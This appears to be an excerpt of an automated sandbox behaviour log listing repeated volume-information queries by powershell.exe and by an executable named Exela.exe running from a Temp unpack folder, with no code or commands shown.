Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_websocket VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\attrs-24.3.0.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\attrs-24.3.0.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\attrs-24.3.0.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\attrs-24.3.0.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography-44.0.0.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography-44.0.0.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography-44.0.0.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography-44.0.0.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography-44.0.0.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography-44.0.0.dist-info\licenses VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography-44.0.0.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip VolumeInformation
